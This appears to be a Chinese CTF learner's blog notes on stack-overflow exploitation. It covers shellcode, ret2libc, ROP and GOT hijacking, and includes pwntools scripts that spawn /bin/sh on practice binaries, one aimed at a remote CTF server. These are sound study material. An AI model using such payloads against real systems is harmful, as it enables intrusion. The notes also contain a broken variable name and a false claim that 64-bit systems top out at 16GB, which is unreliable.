一个月的约定快要到了,疯狂补栈溢出知识,偷看大佬们博客,希望学到点什么。
栈溢出学习网站
栈溢出好文
手把手教你栈溢出从入门到放弃(上)
手把手教你栈溢出从入门到放弃(下)
栈溢出好文中学到的
4种方法:
修改返回地址,让其指向溢出数据中的一段指令(shellcode)
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
1、修改返回地址,让其指向溢出数据中的一段指令(shellcode)
payload : padding1 + address of shellcode + padding2 + shellcode
填充数据(padding1)长度应该刚好覆盖函数的基地址,长度可用gdb调试输入大量乱码使其报出地址,找偏移然后加“AAAA”(32位机)(64位机为8位)之类覆盖地址。
padding2 里填充若干长度的 “\x90”即 NOP,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处, NOP Sled(“滑雪橇”)。
操作系统关闭了内存布局随机化,即Address Space Layout Randomization (ASLR) 时,技术才可以生效。同时,在函数调用栈上的数据(shellcode)要有可执行的权限
2、修改返回地址,让其指向内存中已有的某个函数(return2libc)
payload: padding1 + address of system()(系统级的函数)+ padding2(32位机长度为4) + address of “/bin/sh”(必要的参数)
system()地址:直接查看 system() 的地址或动态库起始地址+相对偏移。 “/bin/sh” 的地址:动态库里搜索字符串,如果存在,就可以按照动态库起始地址+相对偏移来确定其绝对地址。如果在动态库里找不到,可以将这个字符串加到环境变量里,再通过 getenv() 等函数来确定地址。
要关闭内存布局随机化(ASLR)
3、修改返回地址,让其指向内存中已有的一段指令(ROP)
payload : padding + address of gadget 1 + address of gadget 2 + ...... + address of gadget n
(最终)payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode
如果想连续执行若干段指令,就需要每个 gadget(某段指令,意为小工具) 执行完毕可以将控制权交给下一个 gadget。所以 gadget 的最后一步应该是 RET 指令,这样程序的控制权(eip)才能得到切换,所以这种技术被称为返回导向编程( Return Oriented Programming )。
(太长不方便总结)现在任务可以分解为:针对程序栈溢出所要实现的效果,找到若干段以 ret 作为结束的指令片段,按照上述的构造将它们的地址填充到溢出数据中。所以我们要解决以下几个问题:(1)首先,栈溢出之后要实现什么效果?(2)其次,如何寻找对应的指令片段?(3)最后,如何传入系统调用的参数?
有两个方面需要注意:第一找gadget“曲线救国”,第二要小心 gadget 是否会破坏前面各个 gadget 已经实现的部分,比如可能修改某个已经写入数值的寄存器。另外,要特别小心 gadget 对 ebp 和 esp 的操作,因为它们的变化会改变返回地址的位置,进而使后续的 gadget 无法执行。
4、修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
我们的目标分解为:确定函数 A 在 GOT 表中的条目位置, B 在内存中的地址,将函数 B 的地址写入函数 A 在 GOT 表中的条目。那么后面所有对函数 A 的调用都会执行函数 B。
(1)如何确定函数 A 在 GOT 表中的条目位置?例如
call 0x08048430 printf@plt
就说明 printf 在 PLT 表中的入口点是在 0x08048430,所以 0x08048430 处存储的就是 GOT 表中 printf 的条目地址。
(2)如何确定函数 B 在内存中的地址?
假如我们知道了函数 A 的运行时地址(读取 GOT 表内容),也知道函数 A 和函数 B 在动态链接库内的相对位置,就可以推算出函数 B 的运行时地址。
(3)如何实现 GOT 表中数据的修改?
巧借ROP
其它相关知识
1、现代操作系统内存通常是以分段的形式存放不同类型的信息的。函数调用栈就是分段的一个部分(Stack Segment)。内存分段还包括堆(Heap Segment)、数据段(Data Segment),BSS段,以及代码段(Code Segment)。
2、32位x86架构下的汇编语言有 Intel 和 AT&T 两种格式,常用Intel,两者最主要的差别为Intel 格式,寄存器名称和数值前无符号:
“指令名称 目标操作数 DST,源操作数 SRC”
AT&T 格式,寄存器名称前加“%”,数值前加“$”:
“指令名称 源操作数 SRC,目标操作数 DST”
CALL:调用指令,将当前的 eip 压入栈顶,并将 PTR 存入 eip,格式为
CALL PTR;
RET:返回指令,操作为将栈顶数据弹出至 eip,格式为
RET;
3、GOT 全称是全局偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址。PLT 全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点(entry),换言之程序总会到 PLT 这里寻找外部函数的地址。 PLT 表内存储的入口点就是 GOT 表中对应条目的地址。
4、操作系统常见防御措施
首先,通常情况下程序在默认编译设置下都会取消栈上数据的可执行权限,这样简单的 shellcode 溢出攻击就无法实现了。其次,可以在操作系统内开启内存布局随机化(ASLR),这样可以增大确定堆栈内数据和动态库内函数的内存地址的难度。编译程序时还可以设置某些编译选项,使程序在运行时会在函数栈上的 ebp 地址和返回地址之间生成一个特殊的值,这个值被称为“金丝雀”(“canary”)(关于这个典故,我自行谷歌了一下)。矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。类似,一旦发生栈溢出并覆盖了返回地址,这个值就会被改写,从而实现函数栈的越界检查。最后值得强调的是,尽可能写出安全可靠的代码,不给栈溢出提供写入越界的可能。
乌班图的使用上
1、有用的快捷键
shift+ctrl+c 复制
shift+ctrl+v 粘贴
ctrl+l 清屏且消息在上方
ctrl+r 查看历史命令
bc 按回车后可进行简单的加减乘除
↑ ↓ 向上向下找命令
2、某些命令
我的pattern有问题,就借用了cyclic
cyclic 150相当于pattern create 150//制造了150个乱码
cyclic -l 0x6261616a相当于pattern offset 0x6261616b6261616a//寻找偏移地址,注意:只要后8位
checksec 某文件//要变成日常操作,参见大佬总结,虽然我没看懂//www.greatytc.com/p/8a9ef7205632
file 某文件//可以显示文件为32位或64位
chmod [who] [opt] [mode] 文件/目录名
who表示对象。u:文件所有者 g:同组用户 o:其它用户 a:所有用户
opt则是代表操作。+:添加某个权限 -:取消某个权限 =:赋予给定的权限,并取消原有的权限
mode代表权限。r:可读 w:可写 x:可执行
例如:为同组用户增加对文件a.txt的读写权限:chmod g+rw a.txt
chmod [mode] 文件名//r:4,w:2,x:1
例如:d rwx rwx ---就是770
mv 来源档 目标档
例如:mv ccc ./aaa //把文件ccc移到目录aaa下
mv ccc bbb //把ccc名字改为bbb
mkdir//创建目录
rmdir//删除空目录
rm//删除目录或文件
rm -rf//强制删除所有
touch //创建文件或改文件日期(可创多个文件)
cp//复制文件或目录
例如:cp aaa bbb或cp aaa 位置
cat//查看文件内容
echo " ··· ">某文件//可顺便创一个文件
rop的小工具gadget
查找可存储寄存器的代码
ROPgadget --binary level0(文件名) --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'//一次性找三个,但是要注意顺序
ROPgadget --binary rop --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'
查找字符串
ROPgadget --binary rop --string "/bin/sh"
查找有int 0x80的地址
ROPgadget --binary rop --only 'int'
3、某些脚本
这些都是32位的
level0的脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
lf = ELF('./oj/level0')
callsys_addr = elf.symbols['callsystem']
io = process('./oj/level0')
io.recvuntil('World\n')
payload = 'A' * (136) + p64(callsys_addr)
io.send(payload)
io.interactive()
io.close()
level2的脚本1
#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh) #将/bin/sh压入栈中作为system 的参数
p.sendline(payload)
p.interactive()
level2的脚本2
#-*- coding:utf-8 -*-
from pwn import *
p = process('./level2')
system = 0x8048320#system("/bin/sh")
binsh = 0x804A024
payload = 0x88 * "A" + p32(0) + p32(system) + p32(0) + p32(binsh)
#第一个p32(0)可改成“AAAA”(四个垃圾字符),那不就是脚本1吗,哈哈
p.sendline(payload)
p.interactive()
ret2syscall的脚本
execve(‘/bin/sh’,NULL,NULL)execve的系统调用号是0x0b
execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断
#encoding:utf-8
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = 'A' * 112#用以往定位偏移的方法得到
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bin_sh)
#address of gadget + param for register
payload +=p32(int_0x80)
io = process('ret2syscall')
io.sendline(payload)
io.interactive()
ret2shellcode的脚本
# -*- coding: utf-8 -*-
from pwn import *
sh = process('./ret2shellcode')
buf = 0x804A080
shellcode = asm(shellcraft.sh())#自动生成shellcode
sh.sendline(shellcode.ljust(112,'a')+p32(buf))
sh.interactive()
ida的使用上
大佬的ida用法
//www.greatytc.com/p/ee0fcf93c8e7
以下是新新手的ida用法
1、有用的快捷键
shift+F12//查找字符串
R ASCII->字符
H 字符->ASCII
G 跳地址
Alt+t 找特定字符串
OllyDebug的使用
大佬的OllyDebug用法
//www.greatytc.com/p/6c8efc15f1ad
以下是新新手的OllyDebug用法
ctrl+G 跳转到某个地址处
F2 加断点
ctrl + F2 重启程序
F7 单步进入
F8 单步不进入
F9 直接运行
其它
32位程序与64位程序的区别
寻址能力:64位最大支持到16GB内存,而32位只支持4G内存
机器字长:64位为8个字节,而32位为4个字节
调用函数的参数:64位程序中的函数参数先放在寄存器中,而32位直接放入栈中
寄存器顺序为rdi,rsi,rdx,rcx,r8,r9